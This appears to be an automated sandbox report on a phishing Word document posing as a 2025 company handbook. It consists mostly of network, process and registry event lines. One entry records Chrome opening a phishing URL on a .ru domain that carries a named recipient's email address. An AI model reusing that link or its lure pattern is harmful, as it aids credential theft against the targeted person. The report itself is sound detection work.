              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50000
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50003
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50002
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50005
              Source: unknownNetwork traffic detected: HTTP traffic on port 49895 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50004
              Source: unknownNetwork traffic detected: HTTP traffic on port 49768 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49825 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49884 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49907 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49941 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49789
              Source: unknownNetwork traffic detected: HTTP traffic on port 49997 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49779 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49859 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49871 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49894 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 50003 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49965 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49799 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49942 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49977 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49816 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 50035 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49919 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49954 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 50014 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49788 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49988 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49767 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49827 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 50046 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49848 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49882 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49756 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49838 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49976 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49953 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49815 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49908 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 50024 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49883 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49860 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49778 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49755 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49998 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49673 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49931 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49804 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49744 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 50002 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49987 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49920 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49926 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49949 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50054
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50053
              Source: unknownNetwork traffic detected: HTTP traffic on port 49789 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49800 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50055
              Source: unknownNetwork traffic detected: HTTP traffic on port 49766 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49743 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49961 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49984 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 50022 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 50045 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49881 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49950 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49996 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 50010 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49812 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49858 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49893 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49915 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49823 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49777 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49790 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49869 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 50009 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 50034 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49972 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49834 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49892 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49904 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49927 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49822 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49870 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49765 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49983 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49938 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 50023 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49811 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49754 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50018
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50017
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50019
              Source: unknownNetwork traffic detected: HTTP traffic on port 49813 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49951 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49974 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 50032 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50010
              Source: unknownNetwork traffic detected: HTTP traffic on port 49836 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49916 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50012
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50011
              Source: unknownNetwork traffic detected: HTTP traffic on port 50055 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50014
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50013
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50016
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50015
              Source: unknownNetwork traffic detected: HTTP traffic on port 49776 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49845 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49791 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49868 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49753 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50029
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50028
              Source: unknownNetwork traffic detected: HTTP traffic on port 49707 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50021
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50020
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50023
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50022
              Source: unknownNetwork traffic detected: HTTP traffic on port 49742 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50025
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50024
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50027
              Source: unknownNetwork traffic detected: HTTP traffic on port 49780 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49879 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50026
              Source: unknownNetwork traffic detected: HTTP traffic on port 49985 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 50000 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49802 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 50021 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50030
              Source: unknownNetwork traffic detected: HTTP traffic on port 49905 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50039
              Source: unknownNetwork traffic detected: HTTP traffic on port 49995 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 50011 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49928 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50032
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50031
              Source: unknownNetwork traffic detected: HTTP traffic on port 49741 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49857 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50034
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50033
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50036
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50035
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50038
              Source: unknownNetwork traffic detected: HTTP traffic on port 49764 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50037
              Source: unknownNetwork traffic detected: HTTP traffic on port 49801 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49940 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49824 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50041
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50040
              Source: unknownNetwork traffic detected: HTTP traffic on port 49973 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49891 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 50033 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50043
              Source: unknownNetwork traffic detected: HTTP traffic on port 49835 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49917 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50042
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50045
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50044
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50046
              Source: unknownNetwork traffic detected: HTTP traffic on port 49880 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50050
              Source: unknownNetwork traffic detected: HTTP traffic on port 49962 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50052
              Source: unknownNetwork traffic detected: HTTP traffic on port 49775 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 50044 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49846 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49792 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49890 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49970 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 50042 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 50007 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49781 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49878 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49912 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49935 -> 443
              Source: unknownHTTPS traffic detected: 172.67.168.171:443 -> 192.168.2.17:49728 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 172.67.168.171:443 -> 192.168.2.17:49727 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 151.101.130.137:443 -> 192.168.2.17:49735 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 104.17.25.14:443 -> 192.168.2.17:49736 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 104.16.2.189:443 -> 192.168.2.17:49737 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 104.16.4.189:443 -> 192.168.2.17:49738 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 142.250.65.164:443 -> 192.168.2.17:49739 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 172.67.149.248:443 -> 192.168.2.17:49740 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 172.67.168.171:443 -> 192.168.2.17:49741 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 104.21.29.234:443 -> 192.168.2.17:49742 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 13.107.246.40:443 -> 192.168.2.17:49743 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 104.21.87.24:443 -> 192.168.2.17:49746 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.17:49753 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 140.82.114.4:443 -> 192.168.2.17:49782 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 18.164.124.11:443 -> 192.168.2.17:49784 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 18.164.124.11:443 -> 192.168.2.17:49783 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 18.164.124.110:443 -> 192.168.2.17:49801 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 185.199.108.133:443 -> 192.168.2.17:49795 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 104.26.0.100:443 -> 192.168.2.17:49857 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 172.67.159.28:443 -> 192.168.2.17:49867 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 104.26.0.100:443 -> 192.168.2.17:49876 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 104.21.33.57:443 -> 192.168.2.17:49879 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 13.107.246.40:443 -> 192.168.2.17:49900 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.17:50052 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.17:50053 version: TLS 1.2
              Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Windows\SystemTemp\scoped_dir5496_788259032
              Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile deleted: C:\Windows\SystemTemp\scoped_dir5496_788259032
              Source: classification engineClassification label: mal100.phis.evad.winDOC@20/33@39/272
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEFile created: C:\Users\user\Desktop\~$vised - Hartzellprop.com 2025 Handbook29828.doc
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEFile created: C:\Users\user\AppData\Local\Temp\{56079041-AB0C-4721-BF6E-F71EE6A558E3} - OProcSessId.dat
              Source: Revised - Hartzellprop.com 2025 Handbook29828.docOLE indicator, Word Document stream: true
              Source: Revised - Hartzellprop.com 2025 Handbook29828.docOLE document summary: title field not present or empty
              Source: Revised - Hartzellprop.com 2025 Handbook29828.docOLE document summary: author field not present or empty
              Source: Revised - Hartzellprop.com 2025 Handbook29828.docOLE document summary: edited time not present or 0
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEFile read: C:\Users\desktop.ini
              Source: unknownProcess created: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE "C:\Program Files (x86)\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\user\Desktop\Revised - Hartzellprop.com 2025 Handbook29828.doc" /o ""
              Source: unknownProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://ufw.xcsyiuul.ru/VgRu6z/#Mdbailey@hartzell.aero
              Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2044,i,8057322405824911935,2609143369417014995,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version --mojo-platform-channel-handle=2064 /prefetch:3
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess created: unknown unknown
              Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
              Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
              Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2044,i,8057322405824911935,2609143369417014995,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version --mojo-platform-channel-handle=2064 /prefetch:3
              Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
              Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
              Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
              Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
              Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
              Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
              Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
              Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
              Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
              Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
              Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
              Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
              Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00020906-0000-0000-C000-000000000046}\InprocServer32
              Source: Window RecorderWindow detected: More than 3 window changes detected
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEKey opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\Common
              Source: Revised - Hartzellprop.com 2025 Handbook29828.docInitial sample: OLE summary codepage = 1200
              Source: Revised - Hartzellprop.com 2025 Handbook29828.docInitial sample: OLE document summary codepagedoc = 1200
              Source: Revised - Hartzellprop.com 2025 Handbook29828.docInitial sample: OLE indicators vbamacros = False
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
